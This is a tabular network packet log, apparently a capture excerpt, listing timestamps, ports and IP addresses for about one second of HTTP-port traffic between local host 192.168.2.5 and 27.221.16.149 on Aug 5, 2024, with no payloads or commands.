Aug 5, 2024 11:59:47.082961082 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.082983017 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.083018064 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.083040953 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.083050966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.083112955 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.342366934 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342432976 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342487097 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342504025 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.342535973 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342569113 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342592001 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.342601061 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342650890 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342684031 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342689991 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.342735052 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342746973 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.342767000 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342820883 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342822075 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.342854023 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342886925 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342901945 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.342935085 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342983961 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.342993975 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343022108 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343070030 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343072891 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343106031 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343156099 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343156099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343193054 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343225956 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343242884 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343272924 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343306065 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343326092 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343343019 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343377113 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343391895 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343410015 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343442917 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343456030 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343475103 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343508959 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343528032 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343542099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343575954 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343580961 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343609095 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343642950 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343655109 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343677998 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343728065 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343907118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343939066 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.343986034 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.343988895 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344021082 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344053030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344065905 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344084978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344118118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344130993 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344168901 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344202995 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344219923 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344235897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344269991 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344293118 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344301939 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344336033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344351053 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344369888 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344403028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344415903 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344436884 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344471931 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344497919 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344724894 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344784975 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344794035 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344831944 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344878912 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344883919 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344916105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344949961 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.344966888 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.344983101 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.345016956 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.345031023 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.345046043 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.345099926 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639076948 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639139891 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639189959 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639224052 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639240026 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639290094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639328003 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639338970 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639373064 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639386892 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639405966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639439106 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639487028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639494896 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639522076 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639554977 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639564991 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639588118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639605045 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639621019 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639656067 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639689922 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639691114 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639723063 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639755011 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639779091 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639787912 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639821053 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639830112 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.639856100 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639888048 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639921904 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.639952898 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640005112 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640005112 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640006065 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640045881 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640047073 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640096903 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640119076 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640130043 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640162945 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640187979 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640194893 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640235901 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640259981 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640269041 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640301943 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640317917 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640352011 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640384912 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640409946 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640417099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640450954 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640466928 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640513897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640547037 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640573025 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640578985 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640614033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640644073 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640649080 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640681982 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640702963 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640716076 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640748978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640769958 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640782118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640815973 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640830994 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640850067 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640882015 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640902996 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.640916109 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640949965 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.640983105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.641000032 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.641017914 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.641036034 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.646009922 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646073103 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646081924 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.646114111 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646148920 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646189928 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.646648884 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646682978 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646708012 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.646737099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646785975 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646820068 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646845102 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.646852016 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646886110 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646893024 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.646919966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.646948099 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:47.646955013 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:47.647002935 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162204981 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162269115 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162303925 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162337065 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162369967 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162373066 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162404060 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162437916 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162439108 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162461996 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162473917 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162508011 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162524939 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162542105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162595034 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162627935 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162647963 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162659883 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162691116 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162713051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162751913 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162781000 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162803888 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162811995 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162842989 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162846088 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162878990 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162893057 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162911892 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162945032 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.162961006 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.162982941 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163016081 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163049936 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163067102 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163083076 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163105965 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163117886 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163149118 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163182020 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163203001 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163214922 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163237095 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163249969 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163283110 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163316011 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163333893 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163348913 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163371086 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163379908 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163412094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163444996 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163463116 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163476944 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163502932 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163510084 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163543940 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163575888 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163594961 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163670063 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163688898 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163703918 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163736105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163769007 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163789034 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163800955 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163827896 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163835049 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163872957 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163958073 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.163975954 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.163990974 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164016008 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164024115 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164056063 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164088964 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164108038 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164120913 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164144993 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164153099 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164181948 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164212942 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164228916 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164247036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164268970 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164280891 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164313078 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164340973 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164365053 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164374113 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164392948 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164407969 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164439917 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164474964 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164500952 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164524078 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164530039 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164558887 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164591074 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164623976 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164644003 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164658070 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164680958 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164693117 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164730072 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164762974 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164778948 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164800882 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164818048 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.164835930 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.164990902 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.314825058 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.315079927 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.315130949 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.315164089 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.315191031 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.315361977 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.320157051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.320190907 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.320267916 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.320269108 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.320303917 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.320384026 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.325205088 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.325239897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.325290918 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.325314045 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.325324059 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.325356960 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.325402021 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.329968929 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.330019951 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.330027103 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.330053091 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.330086946 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.330117941 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.330117941 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.330171108 CEST	49763	80	192.168.2.5	27.221.16.149
